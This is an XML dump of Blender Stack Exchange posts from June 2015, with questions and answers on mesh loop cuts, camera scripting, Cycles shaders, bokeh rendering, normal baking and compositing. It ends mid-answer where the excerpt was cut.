  <row Id="32850" PostTypeId="1" CreationDate="2015-06-22T20:32:46.587" Score="6" ViewCount="2136" Body="&lt;p&gt;So, I have this geometry: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXPtkm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was created from &lt;em&gt;this&lt;/em&gt; geometry:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zi7hJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by simple scaling to zero about the 3D cursor, which had been moved to selection, but selecting the topmost and bottom-most vertices.  Now, as you may already know, this isn't nearly as connected as it looks; the fact all these edges are intersecting doesn't mean there is a vertex there to unite them. Let's try to fix that with:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xVhnM.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But no dice, it becomes impossible to do loop cuts.  This:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R5IDh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;becomes impossible after the merge.  Could someone be so kind as to tell me why?  Is there a way around this problem, or should I just do my loop cuts first?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing the loop cuts first seems to work, but I'd like to understand the nature of the problem.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2217" LastEditDate="2015-06-23T00:51:08.783" LastActivityDate="2015-06-23T08:30:59.210" Title="Why can't I do a loop cut after Merging these vertices?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;edges&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32851" PostTypeId="2" ParentId="32850" CreationDate="2015-06-22T20:37:16.063" Score="9" Body="&lt;p&gt;The fundamental problem is that loop cuts work on quads; they are interrupted by triangles, and faces with more than four edges. You can do the loop cut before you merge all the points together, because Blender treats each face as a quad, that is a face defined by four vertices, where one edge has zero length because two of the vertices have the same co-ordinages. The merge makes all of quads triangles, because two of the vertices on each face are combined into one. Similarly, if all of the three or more vertices of a face have the same co-ordinates, you still have a face, even though the face has zero area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With respect to achieving an effect similar to the loop cuts, switch to edge select mode, select all the radial edges (but not the circumferential ones), and use the subdivide tool, setting the number of subdivisions to the desired value. Another way is to use the knife tool. Yet another way is to extrude the vertices around the circumference, and scale them almost to the center, then extrude again, and scale the second set of vertices to the center point, and merge the center vertices together. Now you can still make your loop cuts in the quad faces created by the first extrusion, and you can select the edge loop created by the second extrusion and use the edge slide to position it where you want it. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-23T08:30:59.210" LastActivityDate="2015-06-23T08:30:59.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32852" PostTypeId="2" ParentId="32848" CreationDate="2015-06-22T20:46:29.417" Score="2" Body="&lt;p&gt;You created a second camera, but you didn't assign it to be the camera for the scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- /var/tmp/se1.py     2015-06-22 16:37:30.703514909 -0400&#xA;+++ /var/tmp/se2.py     2015-06-22 16:41:47.687236739 -0400&#xA;@@ -14,6 +14,7 @@&#xA; bpy.context.object.data.cycles.fisheye_fov = 3.14159&#xA; bpy.context.object.data.sensor_width = 8.8&#xA; bpy.context.object.data.sensor_height = 6.6&#xA;+bpy.context.scene.camera = bpy.context.object&#xA; #Add a lamp.&#xA; bpy.ops.object.lamp_add(type='POINT', radius=1, view_align=False, location=(0, 1.5, 2.5), &#xA; layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also want to set your frame_end=1 instead of 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another strange thing about this script is that it keeps creating new objects, so you can't run it repeatedly in the same scene without weirdness (probably some Z fighting) as objects and lamps accumulate.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-22T20:46:29.417" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32853" PostTypeId="2" ParentId="32850" CreationDate="2015-06-22T22:31:05.593" Score="5" Body="&lt;p&gt;You can add edgeloops on a circle with a triangles fan in 2 simple steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select all the faces of the circle and inset it using &lt;kbd&gt;I&lt;/kbd&gt; button, position the edgeloop in the middle of the circle radius and hit &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the edgeloop and bevel it using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; shortcut, then by dragging the mouse you can adjust the distance between the edgeloops and with the mouse wheel you can adjust the amount of edgeloops.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-22T22:53:57.730" LastActivityDate="2015-06-22T22:53:57.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32854" PostTypeId="2" ParentId="32823" CreationDate="2015-06-22T22:43:23.323" Score="1" Body="&lt;p&gt;Yes, you can do this with a &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/shaders.html#holdout&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;holdout&lt;/em&gt; shader&lt;/a&gt; on the diffuse plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aliW5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the world background &lt;a href=&quot;https://blender.stackexchange.com/a/5679/599&quot;&gt;must be completely black/zero strength&lt;/a&gt; so that there are no other sources of light in the scene, and &lt;em&gt;Transparent&lt;/em&gt; should be enabled in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-06-22T22:43:23.323" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32856" PostTypeId="1" CreationDate="2015-06-23T02:14:30.850" Score="2" ViewCount="201" Body="&lt;p&gt;I have a long line (thin cylinder) that runs through a semi-transparent sphere. Using the sphere as the cylinder's 'bounds', I would like the parts of the cylinder that are inside the sphere to render transparent. Is this possible with a cycles shader?&lt;/p&gt;&#xA;" OwnerUserId="15174" LastActivityDate="2015-06-23T03:45:10.120" Title="Cycles shader that renders its objects transparent when they are 'inside' of a sphere?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32857" PostTypeId="2" ParentId="32856" CreationDate="2015-06-23T03:26:30.440" Score="1" Body="&lt;p&gt;Try using a Mix shader with a Transparent shader and e.g. a Diffuse or a Glossy shader as its input, and a Light Path node as its fac input. The Light Path node can be found under &lt;code&gt;Add&lt;/code&gt; &gt; &lt;code&gt;Input&lt;/code&gt; in the node editor's menu.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LFFz3.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p5VLm.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colour of the transparent shader needs to be pure white.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-06-23T03:26:30.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32858" PostTypeId="2" ParentId="32856" CreationDate="2015-06-23T03:45:10.120" Score="2" Body="&lt;p&gt;I found that using the Transparent Depth output of the Light path node was the key for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a Math node to control its value which gave control over how much transparency was applied to the portion of the cylinder within the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vMISN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vMISN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-23T03:45:10.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32859" PostTypeId="1" AcceptedAnswerId="47610" CreationDate="2015-06-23T03:51:33.530" Score="1" ViewCount="1174" Body="&lt;p&gt;I'm on the path to becoming a particle system expert, and right now I'm doing a silly logo particle system. It basically forms my username out of particles, but I want the particles to stay in place until a desired time. E.g., I want to add a keyframe to switch the particle physics from no physics to newtonian (or other) physics.&lt;/p&gt;&#xA;" OwnerUserId="9735" LastActivityDate="2016-02-24T14:08:13.940" Title="Change particle system's physics with a keyframe (or other)" Tags="&lt;animation&gt;&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32860" PostTypeId="1" CreationDate="2015-06-23T03:54:44.260" Score="4" ViewCount="818" Body="&lt;p&gt;Is it possible to draw and clear grease pencil real-time during/over blender game engine gameplay? &lt;/p&gt;&#xA;" OwnerUserId="15175" LastActivityDate="2019-12-22T17:15:44.983" Title="Can I use grease pencil in game engine" Tags="&lt;game-engine&gt;&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32861" PostTypeId="1" AcceptedAnswerId="32863" CreationDate="2015-06-23T05:42:26.630" Score="29" ViewCount="9863" Body="&lt;p&gt;How can I render bokeh circles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing I do seems to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using an empty as the focus point for a cube, with some point lamps in the background with about 2000 strength, but it doesn't work. It just makes everything blurry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also raised the blades to 4/5/6/12, and it doesn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.74.&lt;/p&gt;&#xA;" OwnerUserId="15177" LastEditorUserId="8262" LastEditDate="2015-06-23T08:28:15.563" LastActivityDate="2015-06-23T16:14:28.037" Title="How to create Bokeh circles?" Tags="&lt;cycles-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="32863" PostTypeId="2" ParentId="32861" CreationDate="2015-06-23T06:51:23.507" Score="37" Body="&lt;p&gt;&lt;a href=&quot;http://blender.org/manual/render/cycles/lamps.html&quot; rel=&quot;noreferrer&quot;&gt;Lamps are not visible to the camera directly&lt;/a&gt;, and hence cannot directly make pretty bokeh shapes. To make a directly visible light source, you'll want to use a &lt;em&gt;mesh light&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To do this, add an &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/shaders.html#emission&quot; rel=&quot;noreferrer&quot;&gt;emission shader&lt;/a&gt; to a mesh object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9zdb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And now you should be able to get some bokeh:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DNGKV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/290/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=290&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Creating the bokeh object:&lt;/h1&gt;&#xA;&lt;p&gt;For creating a sharp bokeh, a small and bright object is ideal (here I used an emission strength of 20):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TqmOC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TqmOCm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/Y0xpl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0xplm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;sup&gt;click images for better quality&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;For creating a blurry bokeh, use a larger object (here I used an emission strength of 1):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BNwoj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BNwojm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SYqRV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYqRVm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The size of the bokeh depends on the size of the aperture and the distance from the camera to the object.&lt;/p&gt;&#xA;&lt;h1&gt;Adjusting the camera&lt;/h1&gt;&#xA;&lt;p&gt;It sounds like you have set up the camera already, but for completeness here are some settings to keep in mind:&lt;/p&gt;&#xA;&lt;p&gt;Set the aperture size to be fairly large in order to get a shallow depth of field.&#xA;When setting the aperture size directly in terms of it's radius in BU, larger values mean a larger aperture. A value of 1 is really big (1 BU = 1 meter), you'll likely want something not much bigger than &lt;code&gt;.1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can also set the aperture size in terms of &lt;a href=&quot;https://en.wikipedia.org/wiki/F-number&quot; rel=&quot;noreferrer&quot;&gt;f-stops&lt;/a&gt;, in which case &lt;em&gt;smaller&lt;/em&gt; values mean a &lt;em&gt;larger&lt;/em&gt; aperture. This is mainly useful when you have a particular look you want to replicate (e.g. from a photograph), or if you're just more familiar with f-numbers.&lt;/p&gt;&#xA;&lt;p&gt;The number of &lt;em&gt;Blades&lt;/em&gt; in the aperture controls the number of sides on the bokeh. Values below three will make the bokeh circular.&#xA;The &lt;em&gt;Rotation&lt;/em&gt; setting rotates the aperture. This is useful for making the bokeh less straight and perfect looking.&lt;/p&gt;&#xA;&lt;p&gt;For example, with 7 blades an little rotation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QbSV1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Setting the &lt;em&gt;Ratio&lt;/em&gt; to a value besides 1 will stretch the bokeh, simulating an &lt;a href=&quot;https://en.wikipedia.org/wiki/Anamorphic_format&quot; rel=&quot;noreferrer&quot;&gt;anamorphic lens&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CzYF2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And of course you'll want to set the &lt;em&gt;Focus&lt;/em&gt;. I usually set an &lt;a href=&quot;http://blender.org/manual/modeling/empties.html&quot; rel=&quot;noreferrer&quot;&gt;empty&lt;/a&gt; as the focus object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3R6yO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But you can also set the &lt;em&gt;Distance&lt;/em&gt; by clicking in the 3D view:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/ShadyScaredDarklingbeetle&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/ShadyScaredDarklingbeetle.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the slider.&lt;/li&gt;&#xA;&lt;li&gt;Click (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot; /&gt; LMB&lt;/kbd&gt;) on the surface you want to focus on.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;The viewport&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;em&gt;Viewport F-stop&lt;/em&gt; is used to set the size of the viewport aperture for approximating DoF real-time in the viewport. Note that this approximation is only active while in camera view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;) with &lt;em&gt;Depth of Field&lt;/em&gt; enabled in &lt;em&gt;3D view &amp;gt; Properties (&lt;kbd&gt;N&lt;/kbd&gt;) &amp;gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/76GWR.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;One thing you might have noticed, is that the cycles aperture and the viewport aperture give very different results.&lt;/p&gt;&#xA;&lt;p&gt;This is because the viewport DOF is not as accurate as the cycles DOF.&lt;/p&gt;&#xA;&lt;p&gt;To solve this issue, in Blender 2.75, there will be a new high quality checkbox for the viewport, that gives a more accurate approximation of dof.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SncuI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When enabled using the same settings, it looks like this&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9WcPH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-23T16:14:28.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32864" PostTypeId="2" ParentId="32861" CreationDate="2015-06-23T07:05:53.140" Score="16" Body="&lt;p&gt;Your issue, is that you're trying to get bokeh circles using point lights. Point lights don't directly appear in the render, but appear indirectly because they cast light onto other objects. This means that they won't produce bokeh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should set it up using small, bright, objects. I like to use icospheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example I put together to  help you understand how bokeh can be achieved in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/16cdX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this result, I created a scene with a camera and an empty assigned to be the focus point and I set the radius to .5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also play around with the blades setting. Usually you want circular bokeh, but sometimes it's better to have hexagonal, octogonal, etc. shaped bokeh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4L7Ww.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I created an icosphere and gave it a bright emission material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RlUJe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then duplicated it across the scene to give a more interesting effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKr3n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/289/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=289&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-23T07:27:31.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32865" PostTypeId="1" CreationDate="2015-06-23T07:56:23.760" Score="1" ViewCount="3196" Body="&lt;p&gt;I've got problems with Blender Normal bake.&#xA;I'm Trying to bake a set of High res (sculpted) Teeth to a low poly model of the teeth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the normal map I see some spots that stay purple, the normal map doesn't bake to this piece of the map.&#xA;I think it has something to do with the bake settings, but I need some help, how to control them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I get some strange colors like green and orange.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yp5jB.png&quot; alt=&quot;Strange colors in normal map&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mnwkx.png&quot; alt=&quot;Applied normal map to low poly model&quot;&gt;&lt;br&gt;&#xA;When I apply the normal map, as you can see it's really ugly.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the Blend file: &lt;a href=&quot;http://blendit3d.nl/blends/teeth.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;teeth.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15178" LastEditorUserId="15178" LastEditDate="2015-06-23T13:24:07.253" LastActivityDate="2015-07-26T14:55:51.543" Title="strange artifacts in normal map" Tags="&lt;uv&gt;&lt;normals&gt;&lt;sculpting&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32867" PostTypeId="2" ParentId="28566" CreationDate="2015-06-23T09:01:14.517" Score="2" Body="&lt;p&gt;Well i forgot to post the answer i found : the 'strange behaviour' was in cases i had no objects selected actually, that is why the exporter was not available. I dont know if this condition existed in the previous exporter too, maybe that was what lead me to ask.&lt;/p&gt;&#xA;" OwnerUserId="13810" LastActivityDate="2015-06-23T09:01:14.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32868" PostTypeId="1" AcceptedAnswerId="32872" CreationDate="2015-06-23T09:53:35.750" Score="2" ViewCount="1323" Body="&lt;p&gt;Working through the Match Track Blend DVD and hitting every stupid branch on the way down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just about finished with the Two Point Track video (&lt;a href=&quot;https://www.youtube.com/watch?v=ewq-rZEdhpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=ewq-rZEdhpg&lt;/a&gt;), only with some depressingly crappy luminance masking. I was trying to fix this when I realised that the Compositor backdrop was only showing the video footage, not the combined image (as seen in the image/render port, bottom left).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what I should be doing here? I should point out that I'm using Cycles instead of the Blender Internal (as in the video sequence) - as I'm trying to migrate most of my skills from Internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f12AR.jpg&quot; alt=&quot;On the left, my current setup. On the right, a clip from the Match Track Blend tutorial&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1203" LastActivityDate="2015-06-23T13:09:51.737" Title="Why won't the compositor backdrop show the current composite result?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32870" PostTypeId="1" AcceptedAnswerId="32889" CreationDate="2015-06-23T12:16:47.823" Score="2" ViewCount="2020" Body="&lt;p&gt;How to create this kind of lighting in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mh8I6.jpg&quot; alt=&quot;Lighting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image itself was create from blender!&#xA;But whenever I try to make this kind of lighting I always get &lt;strong&gt;all white results&lt;/strong&gt; like this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S9kHs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with it? :)&#xA;Just the light setup.&lt;/p&gt;&#xA;" OwnerUserId="15177" LastEditorUserId="599" LastEditDate="2015-06-23T19:15:32.110" LastActivityDate="2015-06-23T19:15:32.110" Title="How to create this type of gradient background lighting?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32871" PostTypeId="1" CreationDate="2015-06-23T12:41:54.740" Score="3" ViewCount="254" Body="&lt;p&gt;I have 7 separated objects with different UV maps, but since i want to export to unity i would like to join all the UV in order to reduce draw calls keeping the objects separated. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="7615" LastActivityDate="2018-08-08T12:36:18.177" Title="Joining different UVmaps from different objects" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32872" PostTypeId="2" ParentId="32868" CreationDate="2015-06-23T13:09:51.737" Score="1" Body="&lt;p&gt;The issue stems from having rendered the animation as a series of .pngs, then loading the .pngs into the video sequence editor to test how the finished work looked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Blender has a video/image strip loaded into the VSE, it will not render an image to the Render Layers as it knows that the VSE strip will ultimately overwrite this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the Render Layers node in the compositor will appear empty or blank, as in the image at the bottom of my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hiding the strip in the VSE will not solve this problem. Either&#xA;1) in the Render tab of the Properties Editor, open the Post Performance panel and untick 'sequencer' or&#xA;2) delete the image strip in the Video Sequence Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hitting render should now cause your Render Layer to show your expected image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Annoying, and not especially evident to the user, but it makes sense. =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found my solution on this page: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?274922-Camera-Tracking-render-layers-blank-source&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?274922-Camera-Tracking-render-layers-blank-source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy Blending!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&lt;/p&gt;&#xA;" OwnerUserId="1203" LastActivityDate="2015-06-23T13:09:51.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32873" PostTypeId="2" ParentId="31215" CreationDate="2015-06-23T13:32:44.760" Score="1" Body="&lt;p&gt;This method would be completely different from the other answer.  If you are willing to attach the flaps after you make them, you could draw them separately from the wing.  In Blender, when you extrude, you can specify an axis of extrusion.  If the line from which you want to extrude was aligned along the x,y or z plane, then you could extrude that line along one of the other two planes.  Try these commands to make your first line, keeping in mind the number of segments you want.&lt;br&gt;&#xA;you need a single vertex.  To get this vertex:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a mesh plane. Go into 'Top Ortho' view mode to see X &amp;amp; Y axes.&lt;/li&gt;&#xA;&lt;li&gt;Tab to edit mode.&lt;/li&gt;&#xA;&lt;li&gt;In the bottom menu, select snap to 'vertex'&lt;/li&gt;&#xA;&lt;li&gt;Select three vertices by Shift and click on each, or &quot;C&quot;, and 'using scroll wheel to size circle' click to select each of 3 verts to remove. Wheel-click to remove a section if you accidentally select all.  (My select button is my left, my release is my right mouse button).  When done, release the circle by clicking the left mouse button (right in my case).  You will now have 3 verts selected.&lt;/li&gt;&#xA;&lt;li&gt;'X' &amp;amp; 'V' to delete 3 verts, you now have one vertex.&lt;/li&gt;&#xA;&lt;li&gt;Type 'Shift-C' to center the view, and place the cursor at the center.&lt;/li&gt;&#xA;&lt;li&gt;Select the only remaining vertex. Type 'Shift-S'(Snap) and &quot;C&quot; (Selection to Cursor) to place the vertex at the center of the three axes.&lt;/li&gt;&#xA;&lt;li&gt;To make a 5 segmented line, &quot;E&quot;xtrude &quot;X&quot; to constrain the extrude along the X axis, then click to create the extruded line.  Repeat for each segment, making sure to select the X axis till done.  You will now have a line of n segments along the 'X' axis.&lt;/li&gt;&#xA;&lt;li&gt;While still in edit mode, you can either select 'all' to select all the vertices, or select two, to select an edge.&lt;/li&gt;&#xA;&lt;li&gt;&quot;E&quot;xtrude &quot;Y&quot; to extrude constraining the extrude to the 'Y' axis only. Repeat for additional lines.&lt;/li&gt;&#xA;&lt;li&gt;You will now have your flaps.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will still have to join them to the wing of the plane.  Please post another question, as I'm restricting the answer to creating the flaps. Attaching them to the wing is another skill. You will need to orient them before joining them (CTRL-J).  But, you just can't get away without having to orient the flaps.  You will need to work in 3 dimensions to do this, and you 